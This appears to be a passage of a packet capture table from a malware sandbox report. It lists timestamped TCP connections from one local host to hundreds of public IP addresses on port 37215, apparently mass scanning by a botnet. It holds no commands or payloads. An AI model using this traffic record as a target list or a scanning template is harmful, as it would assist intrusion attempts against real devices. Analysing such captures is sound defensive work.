Jun 10, 2024 15:37:59.922135115 CEST	30401	37215	192.168.2.13	41.42.133.1
Jun 10, 2024 15:37:59.922142982 CEST	30401	37215	192.168.2.13	41.34.12.157
Jun 10, 2024 15:37:59.922163010 CEST	45440	37215	192.168.2.13	197.110.124.70
Jun 10, 2024 15:37:59.922177076 CEST	30401	37215	192.168.2.13	41.19.208.240
Jun 10, 2024 15:37:59.922183037 CEST	30401	37215	192.168.2.13	41.113.108.10
Jun 10, 2024 15:37:59.922188997 CEST	30401	37215	192.168.2.13	156.200.236.105
Jun 10, 2024 15:37:59.922204971 CEST	30401	37215	192.168.2.13	197.166.118.183
Jun 10, 2024 15:37:59.922220945 CEST	30401	37215	192.168.2.13	41.77.125.16
Jun 10, 2024 15:37:59.922230005 CEST	30401	37215	192.168.2.13	41.120.128.38
Jun 10, 2024 15:37:59.922238111 CEST	30401	37215	192.168.2.13	197.58.128.241
Jun 10, 2024 15:37:59.922238111 CEST	30401	37215	192.168.2.13	41.140.234.6
Jun 10, 2024 15:37:59.922256947 CEST	30401	37215	192.168.2.13	156.21.3.180
Jun 10, 2024 15:37:59.922411919 CEST	49110	37215	192.168.2.13	156.143.243.166
Jun 10, 2024 15:37:59.922451973 CEST	49110	37215	192.168.2.13	156.143.243.166
Jun 10, 2024 15:37:59.922806978 CEST	80	52736	96.171.224.255	192.168.2.13
Jun 10, 2024 15:37:59.922856092 CEST	80	39034	152.83.224.204	192.168.2.13
Jun 10, 2024 15:37:59.922883987 CEST	80	56778	124.198.230.56	192.168.2.13
Jun 10, 2024 15:37:59.922900915 CEST	49886	37215	192.168.2.13	156.143.243.166
Jun 10, 2024 15:37:59.922909975 CEST	80	57824	135.106.4.49	192.168.2.13
Jun 10, 2024 15:37:59.922938108 CEST	37215	44468	156.134.62.117	192.168.2.13
Jun 10, 2024 15:37:59.922988892 CEST	44468	37215	192.168.2.13	156.134.62.117
Jun 10, 2024 15:37:59.923381090 CEST	60882	37215	192.168.2.13	41.1.16.245
Jun 10, 2024 15:37:59.923397064 CEST	60882	37215	192.168.2.13	41.1.16.245
Jun 10, 2024 15:37:59.923760891 CEST	33422	37215	192.168.2.13	41.1.16.245
Jun 10, 2024 15:37:59.923844099 CEST	37215	30401	156.211.139.234	192.168.2.13
Jun 10, 2024 15:37:59.923886061 CEST	30401	37215	192.168.2.13	156.211.139.234
Jun 10, 2024 15:37:59.923893929 CEST	37215	30401	41.69.228.208	192.168.2.13
Jun 10, 2024 15:37:59.923927069 CEST	37215	30401	41.34.192.208	192.168.2.13
Jun 10, 2024 15:37:59.923935890 CEST	30401	37215	192.168.2.13	41.69.228.208
Jun 10, 2024 15:37:59.923965931 CEST	30401	37215	192.168.2.13	41.34.192.208
Jun 10, 2024 15:37:59.924273014 CEST	55322	37215	192.168.2.13	41.112.237.34
Jun 10, 2024 15:37:59.924273014 CEST	55322	37215	192.168.2.13	41.112.237.34
Jun 10, 2024 15:37:59.924628973 CEST	56090	37215	192.168.2.13	41.112.237.34
Jun 10, 2024 15:37:59.924649954 CEST	37215	30401	156.199.176.162	192.168.2.13
Jun 10, 2024 15:37:59.924679041 CEST	37215	30401	197.176.59.104	192.168.2.13
Jun 10, 2024 15:37:59.924691916 CEST	30401	37215	192.168.2.13	156.199.176.162
Jun 10, 2024 15:37:59.924705982 CEST	37215	30401	156.202.215.189	192.168.2.13
Jun 10, 2024 15:37:59.924719095 CEST	30401	37215	192.168.2.13	197.176.59.104
Jun 10, 2024 15:37:59.924741030 CEST	30401	37215	192.168.2.13	156.202.215.189
Jun 10, 2024 15:37:59.924760103 CEST	37215	30401	41.139.140.243	192.168.2.13
Jun 10, 2024 15:37:59.924787998 CEST	37215	30401	41.79.189.48	192.168.2.13
Jun 10, 2024 15:37:59.924798012 CEST	30401	37215	192.168.2.13	41.139.140.243
Jun 10, 2024 15:37:59.924815893 CEST	37215	30401	156.123.237.221	192.168.2.13
Jun 10, 2024 15:37:59.924829960 CEST	30401	37215	192.168.2.13	41.79.189.48
Jun 10, 2024 15:37:59.924844027 CEST	37215	30401	197.140.21.238	192.168.2.13
Jun 10, 2024 15:37:59.924853086 CEST	30401	37215	192.168.2.13	156.123.237.221
Jun 10, 2024 15:37:59.924870968 CEST	37215	30401	156.209.45.106	192.168.2.13
Jun 10, 2024 15:37:59.924881935 CEST	30401	37215	192.168.2.13	197.140.21.238
Jun 10, 2024 15:37:59.924899101 CEST	37215	30401	41.65.114.229	192.168.2.13
Jun 10, 2024 15:37:59.924909115 CEST	30401	37215	192.168.2.13	156.209.45.106
Jun 10, 2024 15:37:59.924926043 CEST	37215	30401	156.195.94.23	192.168.2.13
Jun 10, 2024 15:37:59.924936056 CEST	30401	37215	192.168.2.13	41.65.114.229
Jun 10, 2024 15:37:59.924952984 CEST	37215	30401	41.13.119.15	192.168.2.13
Jun 10, 2024 15:37:59.924962997 CEST	30401	37215	192.168.2.13	156.195.94.23
Jun 10, 2024 15:37:59.924981117 CEST	37215	30401	156.217.108.5	192.168.2.13
Jun 10, 2024 15:37:59.924983025 CEST	30401	37215	192.168.2.13	41.13.119.15
Jun 10, 2024 15:37:59.925009012 CEST	37215	30401	197.123.247.90	192.168.2.13
Jun 10, 2024 15:37:59.925014973 CEST	30401	37215	192.168.2.13	156.217.108.5
Jun 10, 2024 15:37:59.925038099 CEST	37215	30401	197.127.189.142	192.168.2.13
Jun 10, 2024 15:37:59.925045967 CEST	30401	37215	192.168.2.13	197.123.247.90
Jun 10, 2024 15:37:59.925065041 CEST	37215	30401	156.160.21.128	192.168.2.13
Jun 10, 2024 15:37:59.925075054 CEST	30401	37215	192.168.2.13	197.127.189.142
Jun 10, 2024 15:37:59.925092936 CEST	37215	30401	41.69.149.120	192.168.2.13
Jun 10, 2024 15:37:59.925096989 CEST	30401	37215	192.168.2.13	156.160.21.128
Jun 10, 2024 15:37:59.925121069 CEST	37215	30401	156.179.233.113	192.168.2.13
Jun 10, 2024 15:37:59.925133944 CEST	30401	37215	192.168.2.13	41.69.149.120
Jun 10, 2024 15:37:59.925133944 CEST	60470	37215	192.168.2.13	156.57.11.197
Jun 10, 2024 15:37:59.925146103 CEST	60470	37215	192.168.2.13	156.57.11.197
Jun 10, 2024 15:37:59.925148964 CEST	37215	30401	41.167.61.202	192.168.2.13
Jun 10, 2024 15:37:59.925158024 CEST	30401	37215	192.168.2.13	156.179.233.113
Jun 10, 2024 15:37:59.925177097 CEST	37215	30401	41.124.122.69	192.168.2.13
Jun 10, 2024 15:37:59.925184011 CEST	30401	37215	192.168.2.13	41.167.61.202
Jun 10, 2024 15:37:59.925204039 CEST	37215	30401	41.116.99.196	192.168.2.13
Jun 10, 2024 15:37:59.925216913 CEST	30401	37215	192.168.2.13	41.124.122.69
Jun 10, 2024 15:37:59.925231934 CEST	37215	30401	197.26.246.153	192.168.2.13
Jun 10, 2024 15:37:59.925241947 CEST	30401	37215	192.168.2.13	41.116.99.196
Jun 10, 2024 15:37:59.925260067 CEST	37215	30401	41.9.80.183	192.168.2.13
Jun 10, 2024 15:37:59.925270081 CEST	30401	37215	192.168.2.13	197.26.246.153
Jun 10, 2024 15:37:59.925287008 CEST	37215	30401	156.110.2.110	192.168.2.13
Jun 10, 2024 15:37:59.925298929 CEST	30401	37215	192.168.2.13	41.9.80.183
Jun 10, 2024 15:37:59.925316095 CEST	37215	30401	41.122.109.42	192.168.2.13
Jun 10, 2024 15:37:59.925323009 CEST	30401	37215	192.168.2.13	156.110.2.110
Jun 10, 2024 15:37:59.925344944 CEST	37215	30401	41.94.153.112	192.168.2.13
Jun 10, 2024 15:37:59.925354004 CEST	30401	37215	192.168.2.13	41.122.109.42
Jun 10, 2024 15:37:59.925388098 CEST	30401	37215	192.168.2.13	41.94.153.112
Jun 10, 2024 15:37:59.925395012 CEST	37215	30401	156.226.178.21	192.168.2.13
Jun 10, 2024 15:37:59.925431967 CEST	37215	30401	41.55.41.178	192.168.2.13
Jun 10, 2024 15:37:59.925432920 CEST	30401	37215	192.168.2.13	156.226.178.21
Jun 10, 2024 15:37:59.925460100 CEST	37215	30401	197.214.46.200	192.168.2.13
Jun 10, 2024 15:37:59.925470114 CEST	30401	37215	192.168.2.13	41.55.41.178
Jun 10, 2024 15:37:59.925486088 CEST	37215	30401	197.152.159.10	192.168.2.13
Jun 10, 2024 15:37:59.925489902 CEST	30401	37215	192.168.2.13	197.214.46.200
Jun 10, 2024 15:37:59.925513029 CEST	37215	30401	41.57.17.164	192.168.2.13
Jun 10, 2024 15:37:59.925523043 CEST	33002	37215	192.168.2.13	156.57.11.197
Jun 10, 2024 15:37:59.925523043 CEST	30401	37215	192.168.2.13	197.152.159.10
Jun 10, 2024 15:37:59.925542116 CEST	37215	30401	197.0.201.185	192.168.2.13
Jun 10, 2024 15:37:59.925554037 CEST	30401	37215	192.168.2.13	41.57.17.164
Jun 10, 2024 15:37:59.925569057 CEST	37215	30401	41.237.134.242	192.168.2.13
Jun 10, 2024 15:37:59.925571918 CEST	30401	37215	192.168.2.13	197.0.201.185
Jun 10, 2024 15:37:59.925596952 CEST	37215	30401	41.226.55.109	192.168.2.13
Jun 10, 2024 15:37:59.925617933 CEST	30401	37215	192.168.2.13	41.237.134.242
Jun 10, 2024 15:37:59.925626040 CEST	37215	30401	156.168.245.29	192.168.2.13
Jun 10, 2024 15:37:59.925640106 CEST	30401	37215	192.168.2.13	41.226.55.109
Jun 10, 2024 15:37:59.925653934 CEST	37215	30401	41.154.67.6	192.168.2.13
Jun 10, 2024 15:37:59.925663948 CEST	30401	37215	192.168.2.13	156.168.245.29
Jun 10, 2024 15:37:59.925682068 CEST	37215	30401	197.105.96.234	192.168.2.13
Jun 10, 2024 15:37:59.925695896 CEST	30401	37215	192.168.2.13	41.154.67.6
Jun 10, 2024 15:37:59.925709009 CEST	37215	30401	197.153.65.158	192.168.2.13
Jun 10, 2024 15:37:59.925719023 CEST	30401	37215	192.168.2.13	197.105.96.234
Jun 10, 2024 15:37:59.925736904 CEST	37215	30401	156.156.125.193	192.168.2.13
Jun 10, 2024 15:37:59.925746918 CEST	30401	37215	192.168.2.13	197.153.65.158
Jun 10, 2024 15:37:59.925764084 CEST	37215	30401	197.159.13.233	192.168.2.13
Jun 10, 2024 15:37:59.925779104 CEST	30401	37215	192.168.2.13	156.156.125.193
Jun 10, 2024 15:37:59.925792933 CEST	37215	30401	41.154.147.59	192.168.2.13
Jun 10, 2024 15:37:59.925808907 CEST	30401	37215	192.168.2.13	197.159.13.233
Jun 10, 2024 15:37:59.925822020 CEST	37215	30401	197.181.198.133	192.168.2.13
Jun 10, 2024 15:37:59.925836086 CEST	30401	37215	192.168.2.13	41.154.147.59
Jun 10, 2024 15:37:59.925848961 CEST	37215	30401	41.229.216.231	192.168.2.13
Jun 10, 2024 15:37:59.925860882 CEST	30401	37215	192.168.2.13	197.181.198.133
Jun 10, 2024 15:37:59.925877094 CEST	37215	30401	41.251.58.239	192.168.2.13
Jun 10, 2024 15:37:59.925890923 CEST	30401	37215	192.168.2.13	41.229.216.231
Jun 10, 2024 15:37:59.925904036 CEST	37215	30401	197.73.57.101	192.168.2.13
Jun 10, 2024 15:37:59.925916910 CEST	30401	37215	192.168.2.13	41.251.58.239
Jun 10, 2024 15:37:59.925931931 CEST	37215	30401	156.79.171.4	192.168.2.13
Jun 10, 2024 15:37:59.925945044 CEST	30401	37215	192.168.2.13	197.73.57.101
Jun 10, 2024 15:37:59.925960064 CEST	37215	30401	197.63.251.49	192.168.2.13
Jun 10, 2024 15:37:59.925971031 CEST	30401	37215	192.168.2.13	156.79.171.4
Jun 10, 2024 15:37:59.925987959 CEST	37215	30401	41.206.110.186	192.168.2.13
Jun 10, 2024 15:37:59.925995111 CEST	30401	37215	192.168.2.13	197.63.251.49
Jun 10, 2024 15:37:59.926016092 CEST	37215	30401	197.246.123.244	192.168.2.13
Jun 10, 2024 15:37:59.926028013 CEST	30401	37215	192.168.2.13	41.206.110.186
Jun 10, 2024 15:37:59.926043987 CEST	44436	37215	192.168.2.13	156.190.41.183
Jun 10, 2024 15:37:59.926048994 CEST	37215	30401	41.168.73.24	192.168.2.13
Jun 10, 2024 15:37:59.926059008 CEST	30401	37215	192.168.2.13	197.246.123.244
Jun 10, 2024 15:37:59.926073074 CEST	44436	37215	192.168.2.13	156.190.41.183
Jun 10, 2024 15:37:59.926080942 CEST	30401	37215	192.168.2.13	41.168.73.24
Jun 10, 2024 15:37:59.926105976 CEST	37215	30401	41.237.191.106	192.168.2.13
Jun 10, 2024 15:37:59.926134109 CEST	37215	30401	197.128.46.215	192.168.2.13
Jun 10, 2024 15:37:59.926147938 CEST	30401	37215	192.168.2.13	41.237.191.106
Jun 10, 2024 15:37:59.926162004 CEST	37215	30401	41.39.55.229	192.168.2.13
Jun 10, 2024 15:37:59.926184893 CEST	30401	37215	192.168.2.13	197.128.46.215
Jun 10, 2024 15:37:59.926188946 CEST	37215	30401	156.200.117.215	192.168.2.13
Jun 10, 2024 15:37:59.926202059 CEST	30401	37215	192.168.2.13	41.39.55.229
Jun 10, 2024 15:37:59.926215887 CEST	37215	30401	156.181.42.38	192.168.2.13
Jun 10, 2024 15:37:59.926225901 CEST	30401	37215	192.168.2.13	156.200.117.215
Jun 10, 2024 15:37:59.926244020 CEST	37215	30401	156.250.0.84	192.168.2.13
Jun 10, 2024 15:37:59.926254988 CEST	30401	37215	192.168.2.13	156.181.42.38
Jun 10, 2024 15:37:59.926271915 CEST	37215	30401	156.46.209.218	192.168.2.13
Jun 10, 2024 15:37:59.926284075 CEST	30401	37215	192.168.2.13	156.250.0.84
Jun 10, 2024 15:37:59.926299095 CEST	37215	30401	156.62.210.214	192.168.2.13
Jun 10, 2024 15:37:59.926314116 CEST	30401	37215	192.168.2.13	156.46.209.218
Jun 10, 2024 15:37:59.926326036 CEST	37215	30401	156.25.179.14	192.168.2.13
Jun 10, 2024 15:37:59.926326990 CEST	30401	37215	192.168.2.13	156.62.210.214
Jun 10, 2024 15:37:59.926354885 CEST	37215	30401	197.128.202.20	192.168.2.13
Jun 10, 2024 15:37:59.926367998 CEST	30401	37215	192.168.2.13	156.25.179.14
Jun 10, 2024 15:37:59.926383018 CEST	37215	30401	197.126.47.34	192.168.2.13
Jun 10, 2024 15:37:59.926390886 CEST	30401	37215	192.168.2.13	197.128.202.20
Jun 10, 2024 15:37:59.926409960 CEST	37215	30401	197.144.113.129	192.168.2.13
Jun 10, 2024 15:37:59.926424026 CEST	30401	37215	192.168.2.13	197.126.47.34
Jun 10, 2024 15:37:59.926448107 CEST	30401	37215	192.168.2.13	197.144.113.129
Jun 10, 2024 15:37:59.926460028 CEST	37215	30401	197.29.244.234	192.168.2.13
Jun 10, 2024 15:37:59.926479101 CEST	45196	37215	192.168.2.13	156.190.41.183
Jun 10, 2024 15:37:59.926486969 CEST	37215	30401	156.166.206.200	192.168.2.13
Jun 10, 2024 15:37:59.926495075 CEST	30401	37215	192.168.2.13	197.29.244.234
Jun 10, 2024 15:37:59.926515102 CEST	37215	30401	41.10.140.61	192.168.2.13
Jun 10, 2024 15:37:59.926520109 CEST	30401	37215	192.168.2.13	156.166.206.200
Jun 10, 2024 15:37:59.926542044 CEST	37215	30401	156.203.151.228	192.168.2.13
Jun 10, 2024 15:37:59.926559925 CEST	30401	37215	192.168.2.13	41.10.140.61
Jun 10, 2024 15:37:59.926568985 CEST	37215	30401	156.193.239.253	192.168.2.13
Jun 10, 2024 15:37:59.926583052 CEST	30401	37215	192.168.2.13	156.203.151.228
Jun 10, 2024 15:37:59.926598072 CEST	37215	30401	156.60.167.234	192.168.2.13
Jun 10, 2024 15:37:59.926609993 CEST	30401	37215	192.168.2.13	156.193.239.253
Jun 10, 2024 15:37:59.926625013 CEST	37215	30401	41.228.140.97	192.168.2.13
Jun 10, 2024 15:37:59.926635027 CEST	30401	37215	192.168.2.13	156.60.167.234
Jun 10, 2024 15:37:59.926651955 CEST	37215	30401	156.16.252.113	192.168.2.13
Jun 10, 2024 15:37:59.926667929 CEST	30401	37215	192.168.2.13	41.228.140.97
Jun 10, 2024 15:37:59.926680088 CEST	37215	30401	197.225.243.209	192.168.2.13
Jun 10, 2024 15:37:59.926692963 CEST	30401	37215	192.168.2.13	156.16.252.113
Jun 10, 2024 15:37:59.926707983 CEST	37215	30401	41.9.164.177	192.168.2.13
Jun 10, 2024 15:37:59.926714897 CEST	30401	37215	192.168.2.13	197.225.243.209
Jun 10, 2024 15:37:59.926736116 CEST	37215	30401	197.42.26.190	192.168.2.13
Jun 10, 2024 15:37:59.926759958 CEST	30401	37215	192.168.2.13	41.9.164.177
Jun 10, 2024 15:37:59.926764011 CEST	37215	30401	156.137.31.90	192.168.2.13
Jun 10, 2024 15:37:59.926776886 CEST	30401	37215	192.168.2.13	197.42.26.190
Jun 10, 2024 15:37:59.926793098 CEST	37215	30401	197.141.161.30	192.168.2.13
Jun 10, 2024 15:37:59.926808119 CEST	30401	37215	192.168.2.13	156.137.31.90
Jun 10, 2024 15:37:59.926820993 CEST	37215	30401	197.25.198.155	192.168.2.13
Jun 10, 2024 15:37:59.926821947 CEST	30401	37215	192.168.2.13	197.141.161.30
Jun 10, 2024 15:37:59.926850080 CEST	37215	30401	197.22.241.36	192.168.2.13
Jun 10, 2024 15:37:59.926871061 CEST	30401	37215	192.168.2.13	197.25.198.155
Jun 10, 2024 15:37:59.926877022 CEST	37215	30401	41.31.222.74	192.168.2.13
Jun 10, 2024 15:37:59.926886082 CEST	30401	37215	192.168.2.13	197.22.241.36
Jun 10, 2024 15:37:59.926904917 CEST	37215	30401	197.100.180.103	192.168.2.13
Jun 10, 2024 15:37:59.926915884 CEST	30401	37215	192.168.2.13	41.31.222.74
Jun 10, 2024 15:37:59.926933050 CEST	37215	30401	156.192.233.189	192.168.2.13
Jun 10, 2024 15:37:59.926945925 CEST	30401	37215	192.168.2.13	197.100.180.103
Jun 10, 2024 15:37:59.926959991 CEST	37215	30401	41.63.57.16	192.168.2.13
Jun 10, 2024 15:37:59.926979065 CEST	30401	37215	192.168.2.13	156.192.233.189
Jun 10, 2024 15:37:59.926985979 CEST	37215	30401	41.73.107.249	192.168.2.13
Jun 10, 2024 15:37:59.926995993 CEST	30401	37215	192.168.2.13	41.63.57.16
Jun 10, 2024 15:37:59.927012920 CEST	37215	30401	156.36.86.237	192.168.2.13
Jun 10, 2024 15:37:59.927027941 CEST	30401	37215	192.168.2.13	41.73.107.249
Jun 10, 2024 15:37:59.927027941 CEST	33064	37215	192.168.2.13	41.251.69.196
Jun 10, 2024 15:37:59.927042007 CEST	37215	30401	197.159.198.51	192.168.2.13
Jun 10, 2024 15:37:59.927045107 CEST	30401	37215	192.168.2.13	156.36.86.237
Jun 10, 2024 15:37:59.927047968 CEST	33064	37215	192.168.2.13	41.251.69.196
Jun 10, 2024 15:37:59.927076101 CEST	30401	37215	192.168.2.13	197.159.198.51
Jun 10, 2024 15:37:59.927089930 CEST	37215	30401	197.114.103.51	192.168.2.13
Jun 10, 2024 15:37:59.927126884 CEST	37215	30401	156.178.253.203	192.168.2.13
Jun 10, 2024 15:37:59.927133083 CEST	30401	37215	192.168.2.13	197.114.103.51
Jun 10, 2024 15:37:59.927155972 CEST	37215	30401	197.27.124.211	192.168.2.13
Jun 10, 2024 15:37:59.927171946 CEST	30401	37215	192.168.2.13	156.178.253.203
Jun 10, 2024 15:37:59.927182913 CEST	37215	30401	156.103.207.1	192.168.2.13
Jun 10, 2024 15:37:59.927197933 CEST	30401	37215	192.168.2.13	197.27.124.211
Jun 10, 2024 15:37:59.927211046 CEST	37215	30401	41.235.244.224	192.168.2.13
Jun 10, 2024 15:37:59.927227974 CEST	30401	37215	192.168.2.13	156.103.207.1
Jun 10, 2024 15:37:59.927238941 CEST	37215	30401	197.145.93.184	192.168.2.13
Jun 10, 2024 15:37:59.927252054 CEST	30401	37215	192.168.2.13	41.235.244.224
Jun 10, 2024 15:37:59.927268028 CEST	37215	30401	197.11.239.20	192.168.2.13
Jun 10, 2024 15:37:59.927278042 CEST	30401	37215	192.168.2.13	197.145.93.184
Jun 10, 2024 15:37:59.927294016 CEST	37215	30401	41.183.245.26	192.168.2.13
Jun 10, 2024 15:37:59.927305937 CEST	30401	37215	192.168.2.13	197.11.239.20
Jun 10, 2024 15:37:59.927321911 CEST	37215	30401	156.14.175.34	192.168.2.13
Jun 10, 2024 15:37:59.927330017 CEST	30401	37215	192.168.2.13	41.183.245.26
Jun 10, 2024 15:37:59.927350044 CEST	37215	30401	156.178.159.128	192.168.2.13
Jun 10, 2024 15:37:59.927364111 CEST	30401	37215	192.168.2.13	156.14.175.34
Jun 10, 2024 15:37:59.927376986 CEST	37215	30401	41.188.47.47	192.168.2.13
Jun 10, 2024 15:37:59.927388906 CEST	30401	37215	192.168.2.13	156.178.159.128
Jun 10, 2024 15:37:59.927405119 CEST	37215	30401	41.231.72.216	192.168.2.13
Jun 10, 2024 15:37:59.927405119 CEST	33820	37215	192.168.2.13	41.251.69.196
Jun 10, 2024 15:37:59.927419901 CEST	30401	37215	192.168.2.13	41.188.47.47
Jun 10, 2024 15:37:59.927431107 CEST	37215	30401	197.161.103.248	192.168.2.13
Jun 10, 2024 15:37:59.927443027 CEST	30401	37215	192.168.2.13	41.231.72.216
Jun 10, 2024 15:37:59.927459002 CEST	37215	30401	41.182.154.164	192.168.2.13
Jun 10, 2024 15:37:59.927474976 CEST	30401	37215	192.168.2.13	197.161.103.248
Jun 10, 2024 15:37:59.927486897 CEST	37215	30401	156.244.109.56	192.168.2.13
Jun 10, 2024 15:37:59.927500010 CEST	30401	37215	192.168.2.13	41.182.154.164
Jun 10, 2024 15:37:59.927514076 CEST	37215	30401	41.234.210.66	192.168.2.13
Jun 10, 2024 15:37:59.927531958 CEST	30401	37215	192.168.2.13	156.244.109.56
Jun 10, 2024 15:37:59.927541018 CEST	37215	30401	156.196.209.129	192.168.2.13
Jun 10, 2024 15:37:59.927556992 CEST	30401	37215	192.168.2.13	41.234.210.66
Jun 10, 2024 15:37:59.927567959 CEST	37215	30401	197.63.12.46	192.168.2.13
Jun 10, 2024 15:37:59.927577019 CEST	30401	37215	192.168.2.13	156.196.209.129
Jun 10, 2024 15:37:59.927594900 CEST	37215	30401	197.52.78.200	192.168.2.13
Jun 10, 2024 15:37:59.927609921 CEST	30401	37215	192.168.2.13	197.63.12.46
Jun 10, 2024 15:37:59.927623034 CEST	37215	30401	41.215.9.130	192.168.2.13
Jun 10, 2024 15:37:59.927627087 CEST	30401	37215	192.168.2.13	197.52.78.200
Jun 10, 2024 15:37:59.927649021 CEST	37215	30401	156.132.214.203	192.168.2.13
Jun 10, 2024 15:37:59.927658081 CEST	30401	37215	192.168.2.13	41.215.9.130
Jun 10, 2024 15:37:59.927676916 CEST	37215	30401	197.190.17.120	192.168.2.13
Jun 10, 2024 15:37:59.927687883 CEST	30401	37215	192.168.2.13	156.132.214.203
Jun 10, 2024 15:37:59.927702904 CEST	37215	30401	156.167.167.199	192.168.2.13
Jun 10, 2024 15:37:59.927712917 CEST	30401	37215	192.168.2.13	197.190.17.120
Jun 10, 2024 15:37:59.927735090 CEST	37215	30401	197.241.255.243	192.168.2.13
Jun 10, 2024 15:37:59.927743912 CEST	30401	37215	192.168.2.13	156.167.167.199
Jun 10, 2024 15:37:59.927769899 CEST	30401	37215	192.168.2.13	197.241.255.243
Jun 10, 2024 15:37:59.927771091 CEST	37215	30401	197.56.46.223	192.168.2.13
Jun 10, 2024 15:37:59.927798033 CEST	37215	30401	156.89.192.95	192.168.2.13
Jun 10, 2024 15:37:59.927803993 CEST	30401	37215	192.168.2.13	197.56.46.223
Jun 10, 2024 15:37:59.927825928 CEST	37215	30401	197.176.22.163	192.168.2.13
Jun 10, 2024 15:37:59.927839994 CEST	30401	37215	192.168.2.13	156.89.192.95
Jun 10, 2024 15:37:59.927853107 CEST	37215	30401	197.229.179.187	192.168.2.13
Jun 10, 2024 15:37:59.927870035 CEST	30401	37215	192.168.2.13	197.176.22.163
Jun 10, 2024 15:37:59.927880049 CEST	37215	30401	156.243.212.25	192.168.2.13
Jun 10, 2024 15:37:59.927890062 CEST	30401	37215	192.168.2.13	197.229.179.187
Jun 10, 2024 15:37:59.927907944 CEST	37215	30401	41.214.194.245	192.168.2.13
Jun 10, 2024 15:37:59.927916050 CEST	30401	37215	192.168.2.13	156.243.212.25
Jun 10, 2024 15:37:59.927927017 CEST	41114	37215	192.168.2.13	156.18.195.164
Jun 10, 2024 15:37:59.927934885 CEST	41114	37215	192.168.2.13	156.18.195.164
Jun 10, 2024 15:37:59.927936077 CEST	37215	30401	156.134.168.58	192.168.2.13
Jun 10, 2024 15:37:59.927947044 CEST	30401	37215	192.168.2.13	41.214.194.245
Jun 10, 2024 15:37:59.927962065 CEST	37215	30401	197.116.245.45	192.168.2.13
Jun 10, 2024 15:37:59.927968025 CEST	30401	37215	192.168.2.13	156.134.168.58
Jun 10, 2024 15:37:59.927989960 CEST	37215	30401	156.172.0.85	192.168.2.13
Jun 10, 2024 15:37:59.927998066 CEST	30401	37215	192.168.2.13	197.116.245.45
Jun 10, 2024 15:37:59.928019047 CEST	37215	30401	156.146.151.12	192.168.2.13
Jun 10, 2024 15:37:59.928025961 CEST	30401	37215	192.168.2.13	156.172.0.85
Jun 10, 2024 15:37:59.928046942 CEST	37215	30401	197.130.110.26	192.168.2.13
Jun 10, 2024 15:37:59.928054094 CEST	30401	37215	192.168.2.13	156.146.151.12
Jun 10, 2024 15:37:59.928075075 CEST	37215	30401	156.254.58.48	192.168.2.13
Jun 10, 2024 15:37:59.928090096 CEST	30401	37215	192.168.2.13	197.130.110.26
Jun 10, 2024 15:37:59.928102016 CEST	37215	30401	197.171.135.28	192.168.2.13
Jun 10, 2024 15:37:59.928112984 CEST	30401	37215	192.168.2.13	156.254.58.48
Jun 10, 2024 15:37:59.928129911 CEST	37215	30401	41.112.119.1	192.168.2.13
Jun 10, 2024 15:37:59.928144932 CEST	30401	37215	192.168.2.13	197.171.135.28
Jun 10, 2024 15:37:59.928158045 CEST	37215	30401	197.195.196.75	192.168.2.13
Jun 10, 2024 15:37:59.928172112 CEST	30401	37215	192.168.2.13	41.112.119.1
Jun 10, 2024 15:37:59.928184986 CEST	37215	30401	197.95.0.54	192.168.2.13
Jun 10, 2024 15:37:59.928190947 CEST	30401	37215	192.168.2.13	197.195.196.75
Jun 10, 2024 15:37:59.928211927 CEST	37215	30401	197.194.180.37	192.168.2.13
Jun 10, 2024 15:37:59.928225040 CEST	30401	37215	192.168.2.13	197.95.0.54
Jun 10, 2024 15:37:59.928240061 CEST	37215	30401	41.109.88.228	192.168.2.13
Jun 10, 2024 15:37:59.928265095 CEST	30401	37215	192.168.2.13	197.194.180.37
Jun 10, 2024 15:37:59.928267956 CEST	37215	30401	41.207.144.176	192.168.2.13
Jun 10, 2024 15:37:59.928287983 CEST	30401	37215	192.168.2.13	41.109.88.228
Jun 10, 2024 15:37:59.928294897 CEST	37215	30401	156.7.198.77	192.168.2.13
Jun 10, 2024 15:37:59.928303957 CEST	41866	37215	192.168.2.13	156.18.195.164
Jun 10, 2024 15:37:59.928303957 CEST	30401	37215	192.168.2.13	41.207.144.176
Jun 10, 2024 15:37:59.928323030 CEST	37215	30401	41.201.241.195	192.168.2.13
Jun 10, 2024 15:37:59.928335905 CEST	30401	37215	192.168.2.13	156.7.198.77
Jun 10, 2024 15:37:59.928349972 CEST	37215	30401	41.129.146.218	192.168.2.13
Jun 10, 2024 15:37:59.928364038 CEST	30401	37215	192.168.2.13	41.201.241.195
Jun 10, 2024 15:37:59.928385973 CEST	30401	37215	192.168.2.13	41.129.146.218
Jun 10, 2024 15:37:59.928399086 CEST	37215	30401	41.249.87.250	192.168.2.13
Jun 10, 2024 15:37:59.928438902 CEST	37215	30401	41.129.88.86	192.168.2.13
Jun 10, 2024 15:37:59.928440094 CEST	30401	37215	192.168.2.13	41.249.87.250
Jun 10, 2024 15:37:59.928466082 CEST	37215	30401	41.136.101.104	192.168.2.13
Jun 10, 2024 15:37:59.928493977 CEST	30401	37215	192.168.2.13	41.129.88.86
Jun 10, 2024 15:37:59.928502083 CEST	30401	37215	192.168.2.13	41.136.101.104
Jun 10, 2024 15:37:59.928514957 CEST	37215	30401	41.71.37.130	192.168.2.13
Jun 10, 2024 15:37:59.928543091 CEST	37215	30401	197.128.86.63	192.168.2.13
Jun 10, 2024 15:37:59.928558111 CEST	30401	37215	192.168.2.13	41.71.37.130
Jun 10, 2024 15:37:59.928570032 CEST	37215	30401	156.154.82.234	192.168.2.13
Jun 10, 2024 15:37:59.928579092 CEST	30401	37215	192.168.2.13	197.128.86.63
Jun 10, 2024 15:37:59.928597927 CEST	37215	30401	41.14.173.139	192.168.2.13
Jun 10, 2024 15:37:59.928612947 CEST	30401	37215	192.168.2.13	156.154.82.234
Jun 10, 2024 15:37:59.928625107 CEST	37215	30401	197.124.70.236	192.168.2.13
Jun 10, 2024 15:37:59.928647041 CEST	30401	37215	192.168.2.13	41.14.173.139
Jun 10, 2024 15:37:59.928652048 CEST	37215	30401	41.245.87.202	192.168.2.13
Jun 10, 2024 15:37:59.928666115 CEST	30401	37215	192.168.2.13	197.124.70.236
Jun 10, 2024 15:37:59.928679943 CEST	37215	30401	41.201.227.69	192.168.2.13
Jun 10, 2024 15:37:59.928694963 CEST	30401	37215	192.168.2.13	41.245.87.202
Jun 10, 2024 15:37:59.928705931 CEST	37215	30401	41.211.93.109	192.168.2.13
Jun 10, 2024 15:37:59.928715944 CEST	30401	37215	192.168.2.13	41.201.227.69
Jun 10, 2024 15:37:59.928733110 CEST	37215	30401	197.105.252.78	192.168.2.13
Jun 10, 2024 15:37:59.928746939 CEST	30401	37215	192.168.2.13	41.211.93.109
